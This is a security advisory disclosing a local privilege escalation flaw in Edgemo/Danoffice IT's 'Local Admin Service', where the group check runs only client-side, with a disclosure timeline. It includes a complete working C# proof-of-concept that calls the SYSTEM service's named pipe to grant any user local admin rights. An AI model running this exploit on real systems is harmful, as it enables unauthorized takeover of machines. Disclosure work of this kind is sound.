By ReTest Security
During a security test for one of our customers, it was observed they were using “Local Admin Service” version 1.2.7.23180, which is developed by Edgemo (now owned by Danoffice IT). This service enables employees to temporarily elevate their permissions to local administrator on their own machines as needed.
“Local Admin Service” allows users to temporarily elevate their privileges to local administrator when requested, provided they meet the organization’s defined requirements. It is possible for the organization, to enforce restrictions, such as requiring membership in a specific (low-privileged) group and it is also possible to limit the number of daily elevations. These restrictions are managed through the local machine registry.
The service consists of two applications:
- “LocalAdminClient.exe”: This is the user-facing application where the user request elevation and it informs the user if they are granted elevation or not. The application runs in the context of the current user with the same permissions.
- “LocalAdminService.exe”: The service which the client application communicates with, it is executed as SYSTEM, making it a high-privileged service. It adds the requesting user to the local administrator group and removes it again, when their access expires.
The two applications communicate using Windows Communication Foundation (WCF). To facilitate the communication, the LocalAdminService.exe will setup a WCF endpoint at net.pipe://localhost/Elevation
, which can be seen from the code below:
private void InitializeWcf() {
int gracePeriodSeconds = this.GetGracePeriodSeconds();
int elevationRequestsPerDay = this.GetMaxElevationRequestsPerDay();
Elevation.service = new WcfLocalAdmin.Elevation(gracePeriodSeconds,
elevationRequestsPerDay);
Uri uri = new Uri("net.pipe://localhost/Elevation");
Trace.TraceInformation("Grace period: " + gracePeriodSeconds.ToString());
Trace.TraceInformation("Max Elevations: " +
elevationRequestsPerDay.ToString());
Trace.TraceInformation("Initializing WCF service library");
[...]
The Vulnerability
When a user requests elevation, the client will check if the user has the necessary group membership to escalate to Administrator. This happens using a call to HasUsageRight
from the Elevate_Click_Handler
function.
The HasUsageRight
function reads the required group from the registry and checks if the current user is a member.
private static bool HasUsageRight() {
try {
object obj = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32).OpenSubKey("SOFTWARE\\Policies\\edgemo\\LocalAdminService").GetValue("RestrictionGroup");
return obj == null || MainWindow.IsMemberOfLocalGroup(obj.ToString());
} catch (NullReferenceException ex) {
return true;
}
}
If the user does not have the required group membership, the user is shown the following pop-up, and no elevation happens.

However, this check is only enforced in the client application, not in the service executable. As a result, it can be bypassed, allowing any user on the machine to escalate to local administrator, regardless of their group membership.
By creating a custom client, that communicates with the WCF service without checking for the required group membership, any user can escalate to local administrator.
The following code creates a minimal client that connects to the service, checks if the current user is already a local administrator and, if not, escalates their permissions. It then verifies whether the escalation was successful.
using System;
using System.Diagnostics;
using System.ServiceModel;
namespace LocalAdminService_LPE
{
[ServiceContract(ConfigurationName = "WcfLocalAdmin.IElevation")]
public interface IElevation
{
[OperationContract]
void Elevate(int reasonId, string reasonTitle, string comment);
[OperationContract]
bool IsUserLocalAdmin();
}
class Program
{
public static void Main(string[] args)
{
if (Process.GetProcessesByName("LocalAdminService").Length > 0)
{
Console.WriteLine("LocalAdminService is running. Continuing...");
}
else
{
Console.WriteLine("LocalAdminService is NOT running. Exiting...");
Environment.Exit(-1);
}
ChannelFactory<IElevation> pipeFactory = new ChannelFactory<IElevation>(
new NetNamedPipeBinding(),
new EndpointAddress("net.pipe://localhost/Elevation"));
IElevation pipe = pipeFactory.CreateChannel();
if (pipe.IsUserLocalAdmin())
{
Console.WriteLine("You are already local administrator. Exiting...");
Environment.Exit(0);
}
else
{
Console.WriteLine("You aren't currently administrator. Continuing...");
}
Console.WriteLine("Elevating...");
pipe.Elevate(7, "No Reason Given", "No Reason Given");
Console.WriteLine("Verifying elevation");
Console.WriteLine(pipe.IsUserLocalAdmin() ? "Elevated!" : "Not elevated");
}
}
}
The video below demonstrates how our custom client can be used to grant any user on the machine local administrator privileges.
Responsible Disclosure Timeline
Date | Description |
08/11/2024 | Sent write-up and exploitation video to Danoffice IT following an initial phone call. No response received. |
13/11/2024 | Followed up to ask if they could replicate the vulnerability and informed them of a 90-day disclosure policy. |
15/11/2024 | Received a response stating they are internally evaluating whether to make the product End-of-Life (EOL) or End-of-Support (EOS) |
06/01/2025 | Requested an update on the EOL/EOS decision and asked for clarification on affected versions. No response received. |
Remediation
As we have not received confirmation from Danoffice IT regarding whether the vulnerability has been fixed, we cannot provide remediation advice. Additionally, we do not have information on whether other versions of the software are affected. This vulnerability was disclosed publicly following the expiration of a 90-day disclosure policy.
Recent Comments